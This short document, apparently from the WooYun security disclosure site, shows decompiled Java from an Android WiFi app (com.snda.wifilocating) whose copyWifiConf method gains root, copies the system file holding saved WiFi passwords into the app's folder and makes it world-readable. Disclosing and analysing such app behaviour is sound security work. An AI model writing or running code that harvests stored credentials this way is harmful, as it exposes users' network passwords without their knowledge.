WooYun.org

private static boolean copyWifiConf() {
        boolean bool = false;
        try {
            Runtime runtime = Runtime.getRuntime();
            Process process = runtime.exec("su");
            OutputStream outputStream = process.getOutputStream();
            DataOutputStream dataOutputStream = new DataOutputStream(outputStream);
            dataOutputStream.writeBytes("cat /data/misc/wifi/wpa_supplicant.conf>/data/data/com.snda.wifilocating/wifi.conf\n");
            dataOutputStream.writeBytes("chmod 777 /data/data/com.snda.wifilocating/wifi.conf\n");
            dataOutputStream.writeBytes("exit\n");
            dataOutputStream.flush();
            process.waitFor();
            if(process.exitValue() == 0xFF) {
                return bool;
            }
            File file = new File("/data/data/com.snda.wifilocating/wifi.conf");
            if(!file.exists()) {
                return bool;
            }
        }
        catch(Exception exception) {
            return bool;
        }
        return true;
    }